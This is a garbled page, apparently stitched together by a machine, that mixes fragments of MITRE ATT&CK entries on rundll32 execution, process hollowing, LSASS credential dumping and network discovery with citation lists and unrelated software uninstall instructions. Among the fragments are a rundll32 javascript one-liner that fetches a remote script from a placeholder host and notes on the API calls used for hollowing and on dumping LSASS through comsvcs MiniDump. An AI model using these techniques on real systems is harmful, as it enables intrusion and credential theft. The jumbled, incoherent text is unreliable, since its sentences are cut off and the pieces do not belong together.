Credential dumpers may also use methods for reflective Process Injection to reduce potential indicators of malicious activity. Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Remote desktop is a common feature in operating systems. MSTIC. Lunghi, D., et al. Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. (2017). Retrieved March 1, 2021. Secureworks. (2022, July 13). Retrieved August 9, 2022. The rise of TeleBots: Analyzing disruptive KillDisk attacks. New Malware with Ties to SunOrcal Discovered. [13][14][15], APT32 malware has used rundll32.exe to execute an initial infection process. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Rochberger, L. (2020, November 26). Retrieved September 27, 2021. Further cleaning Operation Cobalt Kitty. Retrieved October 8, 2020. Accenture Security. (2016, September 6). Cybereason Lab Analysis OSX.Pirrit. Strategic Cyber LLC. 2020 Global Threat Report. (2012, June 15). Retrieved May 8, 2018. (2012, November 29). Read The Manual: A Guide to the RTM Banking Trojan. Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved August 12, 2021. Rostovcev, N. (2021, June 10). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. S0456 : Aria-body (2017, February 11). Symantec Security Response Attack Investigation Team. [7], APT28 executed CHOPSTICK by using rundll32 commands such as rundll32.exe "C:\Windows\twain_64.dll". F-Secure Labs. [85], Sandworm Team used a backdoor which could execute a supplied DLL using rundll32.exe. [140], Moses Staff has collected the domain name of a compromised network. Monitor for API calls that may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). Compliance Module Version. Strategic Cyber LLC. Matsuda, A., Muhammad I. WCry Ransomware Analysis. [208], SpeakUp uses the ifconfig -a command. (2019, January 29). (2021, November 29). Hogfish Redleaves Campaign. This might be useful if you want to reinstall or change the agent version. [81], On Windows 10, enable Attack Surface Reduction (ASR) rules to secure LSASS and prevent credential stealing. (n.d.). Retrieved May 12, 2020. [39], BLUELIGHT can collect IP information from the victims machine. (2020, November 26). (2022, May 4). (2017, December 7). [36], Indrik Spider used Cobalt Strike to carry out credential dumping using ProcDump. DFIR Report. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. (2020, September 15). Russian Language Malspam Pushing Redaman Banking Malware. Clear Linux or Mac System Logs Clear Command History File Deletion Uninstall Malicious Application File Deletion Disguise Root/Jailbreak Indicators Cybereason Nocturnus. [21], ISMInjector hollows out a newly created process RegASM.exe and injects its payload into the hollowed process. Operation Cobalt Kitty. Compromise Software Dependencies and Development Tools, Windows Management Instrumentation Event Subscription, Executable Installer File Permissions Weakness, Path Interception by PATH Environment Variable, Path Interception by Search Order Hijacking, File and Directory Permissions Modification, Windows File and Directory Permissions Modification, Linux and Mac File and Directory Permissions Modification, Clear Network Connection History and Configurations, Trusted Developer Utilities Proxy Execution, Multi-Factor Authentication Request Generation, Steal or Forge Authentication Certificates, Exfiltration Over Symmetric Encrypted Non-C2 Protocol, Exfiltration Over Asymmetric Encrypted Non-C2 Protocol, Exfiltration Over Unencrypted Non-C2 Protocol. Retrieved July 1, 2022. Retrieved May 6, 2020. [23], BLINDINGCAN has used Rundll32 to load a malicious DLL. [180], QakBot can use net config workstation, arp -a, and ipconfig /all to gather network configuration information. Retrieved May 1, 2019. Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Retrieved March 14, 2019. [25], Azorult can collect host IP information from the victims machine. ; Figure 1-1. IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. [20], Cleaver has been known to dump credentials using Mimikatz and Windows Credential Editor. [41], BoxCaon can collect the victim's MAC address by using the GetAdaptersInfo API. Retrieved March 11, 2019. (2020, July 16). (2017, July). Ryuk has called GetIpNetTable in attempt to identify all mounted drives and hosts that have Address Resolution Protocol (ARP) entries. Trojan.Naid. Faou, M. and Dumont R.. (2019, May 29). Retrieved September 29, 2020. Set-CybereasonReputation: This cmdlet is used to add or update a custom reputation on the Cybereason server instance. Financial Security Institute. Retrieved July 16, 2018. GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved December 17, 2018. Bandook: Signed & Delivered. ESET. [90], GoldMax retrieved a list of the system's network interface after execution. [146], T9000 gathers and beacons the MAC and IP addresses during installation. Cybereason vs. Conti Ransomware. Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and PrintNightmare Vulnerability. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp.Once present, adversaries may also transfer/spread tools between victim devices within a (2020, July 8). For each topic, there are simple explanations, generously illustrated with annotated screenshots. [246], ZeroT gathers the victim's IP address and domain information, and then sends it to its C2 server. (2016, September 12). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Kuzmenko, A. et al. (2021, December 6). Vaish, A. Retrieved March 1, 2017. Retrieved October 27, 2021. (2020, April 16). (2019, July). (2019, November 10). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones. Threat Group-3390 Targets Organizations for Cyberespionage. [229], Turian can retrieve the internal IP address of a compromised host. Retrieved March 20, 2017. (2018, December 17). (2015, July 13). Retrieved December 20, 2017. Gruzweig, J. et al. Retrieved December 10, 2015. Cymmetria. BRONZE BUTLER Targets Japanese Enterprises. Singer, G. (2020, April 3). [96], HEXANE has used Ping and tracert for network discovery. Legezo, D. (2018, June 13). New BabyShark Malware Targets U.S. National Security Think Tanks. FIN10: Anatomy of a Cyber Extortion Operation. Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Patil, S. (2018, June 26). Retrieved March 14, 2022. Cybereason. (2018, April 23). (2021, April 8). Retrieved March 24, 2021. Retrieved September 27, 2021. Dell SecureWorks Counter Threat Unit Threat Intelligence. Retrieved May 12, 2020. (2014, August 24). [3], AdFind can extract subnet information from Active Directory. Retrieved March 18, 2022. [12][13], BBSRAT has been seen loaded into msiexec.exe through process hollowing to hide its execution. Retrieved October 14, 2019. Operation Spalax: Targeted malware attacks in Colombia. Retrieved June 20, 2019. Baskin, B. Alperovitch, D.. (2016, June 15). Retrieved April 25, 2017. Trend Micro. [105], InvisiMole gathers information on the IP forwarding table, MAC address, configured proxy, and network SSID.[106][107]. Clear Linux or Mac System Logs Clear Command History File Deletion Uninstall Malicious Application (2016). Loui, E. and Reynolds, J. OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. [26], Briba uses rundll32 within Registry Run Keys / Startup Folder entries to execute malicious DLLs. [24], Avenger can identify the domain of the compromised host. Ariel silver. Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass application control. [14], Clambling can execute binaries through process hollowing. GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUMs layered persistence. Salvati, M. (2019, August 6). Privileges and Credentials: Phished at the Request of Counsel. Files 5: Retrieved September 23, 2019. ]org observed with user-agent string Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0. (2019, June 25). Retrieved February 26, 2018. 2. Theyre back: inside a new Ryuk ransomware attack. (2017, October 12). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Description: Enter a description for the shell script. Retrieved July 18, 2016. DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved March 18, 2019. Retrieved June 16, 2020. Cashman, M. (2020, July 29). Read the End-user license agreement and click Accept. (2019, December 17). (2016, June 27). Retrieved May 26, 2020. Analyze contextual data about executed DLL files, which may include information such as name, the content (ex: signature, headers, or data/media), age, user/ower, permissions, etc. Diavol - A New Ransomware Used By Wizard Spider?. (2021, January 20). Symantec Security Response. Technical Analysis. Grange, W. (2020, July 13). Nafisi, R., Lelli, A. (2019, September 23). (2018, June 26). Retrieved February 19, 2019. Parys, B. Lazarus targets defense industry with ThreatNeedle. Antiy CERT. Retrieved December 11, 2014. Novetta Threat Research Group. Squirrelwaffle: New Loader Delivering Cobalt Strike. Adair, S.. (2016, November 9). Windows Defender Advanced Threat Hunting Team. Retrieved September 17, 2018. Grunzweig, J., et al. Koadic. Fishbein, N. (2020, September 8). (2019, June 25). (2018, December 6). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. [71], NotPetya uses rundll32.exe to install itself on remote systems when accessed via PsExec or wmic. This isn't Optimus Prime's Bumblebee but it's Still Transforming. (2021, November 10). Retrieved July 26, 2021. [7][8], Bandook has been launched by starting iexplore.exe and replacing it with Bandook's payload. (2015, August 5). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. Retrieved December 10, 2015. Detecting and Responding to Advanced Threats within Exchange Environments. STOLEN PENCIL Campaign Targets Academia. APT35 Automates Initial Access Using ProxyShell. NLTEST.exe - Network Location Test. NBTscan man page. CISA, FBI, CNMF. [63], Cyclops Blink can use the Linux API if_nameindex to gather network interface names. Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). Davis, S. and Caban, D. (2017, December 19). Retrieved December 20, 2017. Accenture iDefense Unit. [40], EnvyScout has the ability to proxy execution of malicious files with Rundll32. OPERATION GHOST. Retrieved May 16, 2018. Access control. Retrieved September 23, 2019. Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved December 22, 2021. Retrieved May 25, 2022. Vrabie, V. (2020, November). ID Name Description; S0331 : Agent Tesla : Agent Tesla has achieved persistence via scheduled tasks.. S0504 : Anchor : Anchor can create a scheduled task for persistence.. S0584 : AppleJeus : AppleJeus has created a scheduled SYSTEM task that runs when a user logs in.. G0099 : APT-C-36 : APT-C-36 has used a macro function to set scheduled tasks, disguised as those used by Google. Retrieved September 13, 2018. Lei, C., et al. Trojan:W32/Lokibot. (2017, June 27). Retrieved November 2, 2018. NBTscan. Salem, E. et al. [19], Attor's installer plugin can schedule rundll32.exe to load the dispatcher. PowerSploit. (2016, August 9). Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later. [22], Kimsuky has used a file injector DLL to spawn a benign process on the victim's system and inject the malicious payload into it via process hollowing. Smoke Loader downloader with a smokescreen still alive. Cherepanov, A.. (2016, January 3). Baskin, B. Retrieved January 20, 2021. (2020, September 15). Backdoor.Briba. [237], Volgmer can gather the IP address from the victim's machine. PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. DiMaggio, J. Retrieved December 1, 2020. [156], OilRig has run ipconfig /all on a victim. Retrieved August 18, 2018. Follow best practices for detecting adversary use of Valid Accounts for authenticating to remote services. Retrieved February 15, 2018. Lets start with the first option. Retrieved July 14, 2022. Retrieved September 27, 2021. THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. [112], Ke3chang has performed local network configuration discovery using ipconfig. Mandiant. MSTIC. Nafisi, R., Lelli, A. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. [122], Kwampirs collects network adapter and interface information by using the commands ipconfig /all, arp -a and route print. [34][35][36], BlackEnergy has gathered information about network IP configurations using ipconfig.exe and about routing tables using route.exe. Retrieved January 28, 2021. [222], Threat Group-3390 actors use NBTscan to discover vulnerable systems. [12][13], APT39 has used stolen credentials to compromise Outlook Web Access (OWA). [5], APT28 regularly deploys both publicly available (ex: Mimikatz) and custom password retrieval tools on victims. (2011, February 10). TAU Threat Discovery: Conti Ransomware. [25], Emotet has been observed dropping password grabber modules including Mimikatz. Retrieved February 25, 2016. Retrieved August 24, 2021. (2020, April 20). (2017, October 22). Rostovcev, N. (2021, June 10). ID Name Description; G0006 : APT1 : The APT1 group is known to have used pass the hash.. G0007 : APT28 : APT28 has used pass the hash for lateral movement.. G0050 : APT32 : APT32 has used pass the hash for lateral movement.. G0114 : Chimera : Chimera has dumped password hashes for use in pass the hash authentication attacks.. S0154 : Cobalt Strike : Cobalt Strike can perform Customer Guidance on Recent Nation-State Cyber Attacks. [193], RogueRobin gathers the IP address and domain from the victims machine.[194]. Retrieved May 24, 2021. (n.d.). [59], CreepySnail can use getmac and Get-NetIPAddress to enumerate network settings. Retrieved August 24, 2020. (2021, January). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Peretz, A. and Theck, E. (2021, March 5). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hackers toolkit. Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. [55][56], Comnie uses ipconfig /all and route PRINT to identify network adapter and interface information. Retrieved September 17, 2015. Kasuya, M. (2020, January 8). Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. Small Sieve Malware Analysis Report. THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. (2019, August 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. OilRig Malware Campaign Updates Toolset and Expands Targets. [166], PingPull can retrieve the IP address of a compromised host. The Dukes: 7 years of Russian cyberespionage. (2015, April 22). [65], Matryoshka uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism. Chen, J., et al. Retrieved May 3, 2017. Dell SecureWorks Counter Threat Unit Threat Intelligence. [83][84], Consider disabling or restricting NTLM. Retrieved May 5, 2021. PowerSploit. (2017, July 20). Flagpro The new malware used by BlackTech. [46], Lizar can run Mimikatz to harvest credentials. Retrieved January 19, 2021. Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. SecTools. [34], HAFNIUM has used procdump to dump the LSASS process memory. [58], Silent Librarian has used compromised credentials to obtain unauthorized access to online accounts. [161], During Operation Wocao, threat actors discovered the local network configuration with ipconfig. Retrieved June 11, 2020. Retrieved May 18, 2020. Retrieved April 10, 2022. MuddyWater expands operations. New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved December 20, 2017. (2012). [7][8][9], APT41 compromised an online billing/payment service using VPN access between a third-party service provider and the targeted payment service. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. [170], PoshC2 can enumerate network adapter information. McKeague, B. et al. Retrieved June 10, 2020. (2020, August 10). Grafnetter, M. (2015, October 26). Falcone, R. and Miller-Osborn, J. [40] Threat Group-3390 has also obtained OWA account credentials during intrusions that it subsequently used to attempt to regain access when evicted from a victim network. Retrieved September 27, 2021. [18], Diavol can enumerate victims' local and external IPs when registering with C2. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. A Global Perspective of the SideWinder APT. Cherepanov, A.. (2016, May 17). Retrieved November 12, 2021. (2021, November 10). (2013, July 31). Huss, D., et al. Made In America: Green Lambert for OS X. Retrieved March 21, 2022. Windows Defender Research. Mercer, W. and Rascagneres, P. (2018, February 12). (2015, December 1). (2015, April 22). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. (2020, September 25). Microsoft. Retrieved September 29, 2022. [17], Bad Rabbit has used Mimikatz to harvest credentials from the victim's machine. (2020, April 1). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved November 18, 2020. (2022, February 23). (2021, August). [55][56][57], Net Crawler uses credential dumpers such as Mimikatz and Windows Credential Editor to extract cached credentials from Windows systems. (n.d.). Operation Cleaver. The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Singh, S. et al.. (2018, March 13). [1] Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. This is very similar to Thread Local Storage but creates a new process rather than targeting an existing process. Retrieved September 20, 2021. APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries HpReact campaign. Walter, J. Retrieved June 9, 2022. On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process. (2017). Cybereason vs. Egregor Ransomware. Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Neoichor can gather the IP address from an infected host. (2018, September). Retrieved May 5, 2020. Rascagneres, P. (2017, May 03). (2021, July 1). (2019, April 10). Retrieved November 9, 2020. [45], menuPass has used valid accounts including shared between Managed Service Providers and clients to move between the two environments. [82], FALLCHILL collects MAC address and local IP address information from the victim. Retrieved June 6, 2018. [91], SUNBURST used Rundll32 to execute payloads. Retrieved January 20, 2021. Evolution of Trickbot. [60], Lazarus Group has used rundll32 to execute malicious payloads on a compromised host. (2017, December). Arp. Defense Evasion Techniques. (2015, August 5). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Davis, S. and Carr, N. (2017, September 21). ESET Research. Retrieved November 12, 2021. Retrieved July 1, 2022. Retrieved April 5, 2021. Retrieved June 10, 2020. NCSC, CISA, FBI, NSA. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Palazolo, G. (2021, October 7). NICKEL targeting government organizations across Latin America and Europe. (2019, November). Retrieved July 18, 2019. Mercer, W. et al. Mudcarp's Focus on Submarine Technologies. (n.d.). Analysis of TeleBots cunning backdoor . Axel F, Pierre T. (2017, October 16). (2022, March 21). [157][158], Okrum can collect network information, including the host IP address, DNS, and proxy information. Group IB. Bromiley, M., et al.. (2019, July 18). Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Retrieved May 6, 2020. (2022, March 21). (2021, May 28). (2018, September 8). Checkpoint Research. [211], STARWHALE has the ability to collect the IP address of an infected host. North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. CERT-FR. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.[1][2]. Train users to only accept valid push notifications and to report suspicious push notifications. [39], Variants of Emissary have used rundll32.exe in Registry values added to establish persistence. The app is deleted immediately. Retrieved May 17, 2022. Anthony, N., Pascual, C.. (2018, November 1). Project TajMahal a sophisticated new APT framework. Retrieved May 5, 2021. (2022, February 25). APT35 Automates Initial Access Using ProxyShell. [20][21][22], Dtrack used hard-coded credentials to gain access to a network share. (2020, June). Configuring Additional LSA Protection. The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. (2019, June 4). Retrieved November 30, 2018. My name is Dtrack. Use of External Remote Services may be legitimate depending on the environment and how its used. Retrieved December 17, 2020. Retrieved September 22, 2021. Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved March 26, 2019. Retrieved December 30, 2020. Retrieved April 17, 2019. Retrieved April 13, 2021. For ANDROID, open the BullGuard app, tap on the Settings button from the top-left, then tap Uninstall.. For MAC, open Finder and drag the app to the trash can.. For DESKTOP, uninstall BullGuard from Control Panel: a. A journey to Zebrocy land. Retrieved November 12, 2021. Dantzig, M. v., Schamper, E. (2019, December 19). [53], JHUHUGIT is executed using rundll32.exe. Hromcova, Z. and Cherpanov, A. FIN7 Backdoor Masquerades as Ethical Hacking Tool. Retrieved June 8, 2020. (2019, December 12). Retrieved December 6, 2021. BishopFox. Hasherezade. Operation North Star: Behind The Scenes. (2020, December 13). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. (2020, November 26). As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Retrieved March 1, 2021. Retrieved November 9, 2018. MONSOON - Analysis Of An APT Campaign. Retrieved April 13, 2021. Dtrack: In-depth analysis of APT on a nuclear power plant. (2022, January 11). (2022, June 9). [55], Sandworm Team have used previously acquired legitimate credentials prior to attacks. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.[2]. Retrieved December 2, 2020. [100], Hydraq creates a backdoor through which remote attackers can retrieve IP addresses of compromised machines. This is as it should be, in our opinion. (2018, December 10). (2017, April). Bears in the Midst: Intrusion into the Democratic National Committee. Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. (2020, July 16). [51], Chrommme can enumerate the IP address of a compromised host. (2018, July 23). National Cyber Security Centre. Retrieved May 18, 2016. Close all running apps (Citrix Workspace) and click Continue to confirm. TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Monitor for newly constructed network connections that may use Valid Accounts to access and/or persist within a network using External Remote Services. (2018). (2018, October). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware. ""We are a Microsoft shop, and Defender is a Microsoft solution that provides some security at a reasonable cost." Retrieved March 30, 2021. Prolific Cybercrime Gang Favors Legit Login Credentials. This can be done using a syntax similar to this: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[. Retrieved August 3, 2016. [244], xCaon has used the GetAdaptersInfo() API call to get the victim's MAC address. Retrieved May 12, 2020. Compromise Software Dependencies and Development Tools, Windows Management Instrumentation Event Subscription, Executable Installer File Permissions Weakness, Path Interception by PATH Environment Variable, Path Interception by Search Order Hijacking, File and Directory Permissions Modification, Windows File and Directory Permissions Modification, Linux and Mac File and Directory Permissions Modification, Clear Network Connection History and Configurations, Trusted Developer Utilities Proxy Execution, Multi-Factor Authentication Request Generation, Steal or Forge Authentication Certificates, Exfiltration Over Symmetric Encrypted Non-C2 Protocol, Exfiltration Over Asymmetric Encrypted Non-C2 Protocol, Exfiltration Over Unencrypted Non-C2 Protocol. (2020, July 16). REvil/Sodinokibi Ransomware. Retrieved March 16, 2022. Retrieved November 16, 2017. APT28 Under the Scope. Retrieved January 26, 2016. Trojan:Win32/Totbrick. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. [217], Sys10 collects the local IP address of the victim and sends it to the C2. (2018, November 19). Wilson, B. Cherepanov, A.. (2016, December 13). (2020, March 5). Mofang: A politically motivated information stealing adversary. Product Name. Unit 42 Playbook Viewer. (2016, April). (2019, January 16). Retrieved February 15, 2018. (2018, September 27). Retrieved June 11, 2020. Retrieved September 13, 2018. (2014, August 20). Min. Search for and select your technology Cybereason. Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Press and hold the Option () key, or click and hold any app until the apps jiggle. [138], MoonWind obtains the victim IP address. Retrieved January 15, 2019. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. Retrieved May 26, 2020. Adair, S.. (2016, November 9). MAR-10296782-2.v1 WELLMESS. Svajcer, V. (2018, July 31). (2017, August). (2021, March 4). LazyScripter: From Empire to double RAT. [83][84], Sakula calls cmd.exe to run various DLL files via rundll32. Huss, D. (2016, March 1). FireEye Threat Intelligence. Linux and Mac File and Directory Permissions Modification Uninstall Malicious Application File Deletion Disguise Root/Jailbreak Indicators Cybereason Nocturnus. Symantec. (2021, December 6). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Plan, F., et al. OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUMs layered persistence. Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Irans APT34 Returns with an Updated Arsenal. [235], USBferry can detect the infected machine's network topology using ipconfig and arp. Retrieved September 30, 2021. TeamTNT targeting AWS, Alibaba. Anomali Labs. Operation Soft Cell: A Worldwide Campaign Against Trend Micro. GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUMs layered persistence. [25], Dragonfly has used batch scripts to enumerate network information, including information about trusts, zones, and the domain. PROMETHIUM extends global reach with StrongPity3 APT. (2021, January 7). Retrieved March 8, 2021. This type of attack technique cannot be easily mitigated with preventive controls since Retrieved December 4, 2015. Dahan, A. et al. Retrieved September 5, 2018. Cybereason Inc Remove Cybereason Inc: Download Anti-Malware solution. Win32/Industroyer: A new threat for industrial controls systems. Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload. Retrieved January 24, 2022. Bumblebee Loader The High Road to Enterprise Domain Control. The Trojan.Hydraq Incident. TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. [61][62][63], LazyScripter has used rundll32.exe to execute Koadic stagers. Product Version. (2020, December 13). ID Data Source Data Component Detects; DS0017: Command: Command Execution: Monitor executed commands and arguments that may search and collect local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration. (2018, April 20). Lambert, T. (2020, January 29). Kaspersky Lab's Global Research and Analysis Team. New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. [1], Rundll32 can also be used to execute scripts such as JavaScript. (2018, October 15). Jazi, H. (2021, February). The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). DiMaggio, J. McAfee Foundstone Professional Services and McAfee Labs. Retrieved May 22, 2018. [38], Ke3chang has used credential dumpers or stealers to obtain legitimate credentials, which they used to gain access to victim accounts. Suscrbete a nuestro boletin de noticias. [67], PoshC2 contains an implementation of Mimikatz to gather credentials from memory. US-CERT. ID Name Description; G0026 : APT18 : APT18 actors leverage legitimate credentials to log into external remote services.. G0007 : APT28 : APT28 has used Tor and a variety of commercial VPN services to route brute force authentication attempts.. G0016 : APT29 : APT29 has used compromised identities to access networks via SSH, VPNs, and other remote access tools.. Technical Report about the Espionage Case at RUAG. Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved May 12, 2020. Retrieved September 22, 2022. Hada, H. (2021, December 28). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Dunwoody, M., et al. Unit 42 Playbook Viewer. Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved April 17, 2019. Solved: I can't uninstall CC on my Mac. Phantom in the Command Shell. (2018, March 16). Retrieved June 18, 2018. Attacks Against the Government Sector. Chen, X., Scott, M., Caselden, D.. (2014, April 26). [31], Bandook has a command to get the public IP address from a system. CISA. Retrieved April 1, 2021. Retrieved March 4, 2019. Retrieved July 16, 2020. Retrieved August 7, 2018. Singleton, C. and Kiefer, C. (2020, September 28). (2021, July 19). [44], Leafminer used several tools for retrieving login and password information, including LaZagne and Mimikatz. (2021, October). Flame a.k.a. Retrieved November 24, 2021. Retrieved February 7, 2022. MITRE ATT&CK and ATT&CK are registered trademarks of The MITRE Corporation. (2020, August 26). Retrieved May 26, 2020. Retrieved November 1, 2017. Retrieved April 13, 2021. Retrieved June 10, 2021. [77], Threat Group-3390 actors have used a modified version of Mimikatz called Wrapikatz to dump credentials. Two Years of Pawn Storm: Examining an Increasingly Relevant Threat. APT10 Targeting Japanese Corporations Using Updated TTPs. [64], Magic Hound has used rundll32.exe to execute MiniDump from comsvcs.dll when dumping LSASS memory. Hegel, T. (2021, January 13). Retrieved January 4, 2018. Settle, A., et al. W32.Duqu: The precursor to the next Stuxnet. (2017, December 15). (2020, June 29). Leviathan: Espionage actor spearphishes maritime and defense targets. [153], NOKKI can gather information on the victim IP address. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Davis, S. and Caban, D. (2017, December 19). Retrieved August 22, 2022. North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved November 5, 2018. Retrieved February 26, 2018. Retrieved September 23, 2019. North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved November 16, 2017. INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved February 19, 2018. [20][21], GOLD SOUTHFIELD has used publicly-accessible RDP and remote management and monitoring (RMM) servers to gain access to victim machines. [14], TA505 has leveraged rundll32.exe to execute malicious DLLs. Rainey, K. (n.d.). Malwarebytes Threat Intelligence Team. [70][71], The reconnaissance modules used with Duqu can collect information on network configuration. Salinas, M., Holguin, J. MAR-10135536-17 North Korean Trojan: KEYMARBLE. [165], PcShare can obtain the proxy settings of a compromised machine using InternetQueryOptionA and its IP address by running nslookup myip.opendns.comresolver1.opendns.com\r\n. Morrow, D. (2021, April 15). Monitor for unexpected processes interacting with LSASS.exe. [139], More_eggs has the capability to gather the IP address from the victim's machine. Windows 8/8.1. Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Hello! Retrieved June 7, 2019. Mercer, W., et al. Endpoint Central is a Windows Desktop Management Software for managing desktops in LAN and across WAN from a central location. Lebanese Cedar APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved June 25, 2017. [228], Valak has the ability to identify the domain and the MAC and IP addresses of an infected machine. Smallridge, R. (2018, March 10). [147], OSInfo discovers the current domain information. Knight, S.. (2020, April 16). Chiu, A. Retrieved August 28, 2018. Retrieved May 14, 2020. Retrieved August 17, 2016. Retrieved September 24, 2019. Leonardo. LsAgent-windows.exe --server LAN-001 --port 9524 --agentkey 4c2db649-014a-41f5-a01d-08950d7af --mode unattended. Compromise Software Dependencies and Development Tools, Windows Management Instrumentation Event Subscription, Executable Installer File Permissions Weakness, Path Interception by PATH 